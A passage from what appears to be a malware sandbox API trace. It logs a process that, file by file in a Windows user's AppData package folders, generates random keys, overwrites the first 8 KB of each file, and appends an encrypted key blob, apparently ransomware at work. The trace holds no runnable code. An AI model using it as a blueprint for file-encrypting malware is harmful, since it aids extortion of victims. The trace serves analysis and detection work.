(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.390] ReadFile (in: hFile=0xa88, lpBuffer=0x5c3408, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.390] SetFilePointer (in: hFile=0xa88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.390] WriteFile (in: hFile=0xa88, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.391] SetFilePointer (in: hFile=0xa88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.391] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.391] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.391] WriteFile (in: hFile=0xa88, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.392] WriteFile (in: hFile=0xa88, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.392] CloseHandle (hObject=0xa88) returned 1 [0157.397] WriteFile (in: hFile=0xa94, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.398] CloseHandle (hObject=0xa94) returned 1 [0157.398] WriteFile (in: hFile=0xa94, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.399] CloseHandle (hObject=0xa94) returned 1 [0157.400] WriteFile (in: hFile=0xa94, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.401] CloseHandle (hObject=0xa94) returned 1 [0157.401] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.401] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0157.401] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.402] ReadFile (in: hFile=0xaa8, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.420] SetFilePointer (in: hFile=0xaa8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.420] WriteFile (in: hFile=0xaa8, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.421] SetFilePointer (in: hFile=0xaa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.421] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.421] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.421] WriteFile (in: hFile=0xaa8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.422] WriteFile (in: hFile=0xaa8, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.422] CloseHandle (hObject=0xaa8) returned 1 [0157.442] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0157.442] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0157.442] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.442] ReadFile (in: hFile=0xaa8, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.443] SetFilePointer (in: hFile=0xaa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.443] WriteFile (in: hFile=0xaa8, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.443] SetFilePointer (in: hFile=0xaa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.443] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.443] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.443] WriteFile (in: hFile=0xaa8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.444] WriteFile (in: hFile=0xaa8, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.444] CloseHandle (hObject=0xaa8) returned 1 [0157.447] WriteFile (in: hFile=0xab4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.448] CloseHandle (hObject=0xab4) returned 1 [0157.448] WriteFile (in: hFile=0xab4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.449] CloseHandle (hObject=0xab4) returned 1 [0157.449] WriteFile (in: hFile=0xab4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.450] CloseHandle (hObject=0xab4) returned 1 [0157.451] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0157.451] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0157.451] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.451] ReadFile (in: hFile=0xac8, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.484] SetFilePointer (in: hFile=0xac8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.484] WriteFile (in: hFile=0xac8, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.485] SetFilePointer (in: hFile=0xac8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.485] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.485] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.485] WriteFile (in: hFile=0xac8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.486] WriteFile (in: hFile=0xac8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.486] CloseHandle (hObject=0xac8) returned 1 [0157.504] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.504] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0157.504] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.504] ReadFile (in: hFile=0xac8, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.504] SetFilePointer (in: hFile=0xac8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.504] WriteFile (in: hFile=0xac8, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.504] SetFilePointer (in: hFile=0xac8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.504] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.504] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.505] WriteFile (in: hFile=0xac8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.506] WriteFile (in: hFile=0xac8, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.506] CloseHandle (hObject=0xac8) returned 1 [0157.508] WriteFile (in: hFile=0xad4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.509] CloseHandle (hObject=0xad4) returned 1 [0157.510] WriteFile (in: hFile=0xad4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.511] CloseHandle (hObject=0xad4) returned 1 [0157.511] WriteFile (in: hFile=0xad4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.512] CloseHandle (hObject=0xad4) returned 1 [0157.512] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.512] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0157.512] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.513] ReadFile (in: hFile=0xae8, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.514] SetFilePointer (in: hFile=0xae8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.514] WriteFile (in: hFile=0xae8, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.514] SetFilePointer (in: hFile=0xae8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.514] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.514] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.514] WriteFile (in: hFile=0xae8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.515] WriteFile (in: hFile=0xae8, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.515] CloseHandle (hObject=0xae8) returned 1 [0157.552] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0157.552] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0157.552] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.555] ReadFile (in: hFile=0xae8, lpBuffer=0x5c3478, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.555] SetFilePointer (in: hFile=0xae8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.556] WriteFile (in: hFile=0xae8, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.556] SetFilePointer (in: hFile=0xae8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.556] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.556] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.556] WriteFile (in: hFile=0xae8, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.557] WriteFile (in: hFile=0xae8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.557] CloseHandle (hObject=0xae8) returned 1 [0157.560] WriteFile (in: hFile=0xaf4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.561] CloseHandle (hObject=0xaf4) returned 1 [0157.562] WriteFile (in: hFile=0xaf4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.563] CloseHandle (hObject=0xaf4) returned 1 [0157.564] WriteFile (in: hFile=0xaf4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.565] CloseHandle (hObject=0xaf4) returned 1 [0157.565] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0157.565] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3438 | out: pbBuffer=0x5c3438) returned 1 [0157.565] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.566] ReadFile (in: hFile=0xb08, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.573] SetFilePointer (in: hFile=0xb08, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.573] WriteFile (in: hFile=0xb08, lpBuffer=0x2ecd058*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.574] SetFilePointer (in: hFile=0xb08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.574] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.574] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.574] WriteFile (in: hFile=0xb08, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.574] WriteFile (in: hFile=0xb08, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.575] CloseHandle (hObject=0xb08) returned 1 [0157.582] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0157.582] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0157.582] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.582] ReadFile (in: hFile=0xb08, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.583] SetFilePointer (in: hFile=0xb08, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.583] WriteFile (in: hFile=0xb08, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.583] SetFilePointer (in: hFile=0xb08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.583] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.583] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.583] WriteFile (in: hFile=0xb08, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.584] WriteFile (in: hFile=0xb08, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.584] CloseHandle (hObject=0xb08) returned 1 [0157.586] WriteFile (in: hFile=0xb14, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.587] CloseHandle (hObject=0xb14) returned 1 [0157.588] WriteFile (in: hFile=0xb14, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.589] CloseHandle (hObject=0xb14) returned 1 [0157.590] WriteFile (in: hFile=0xb14, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) 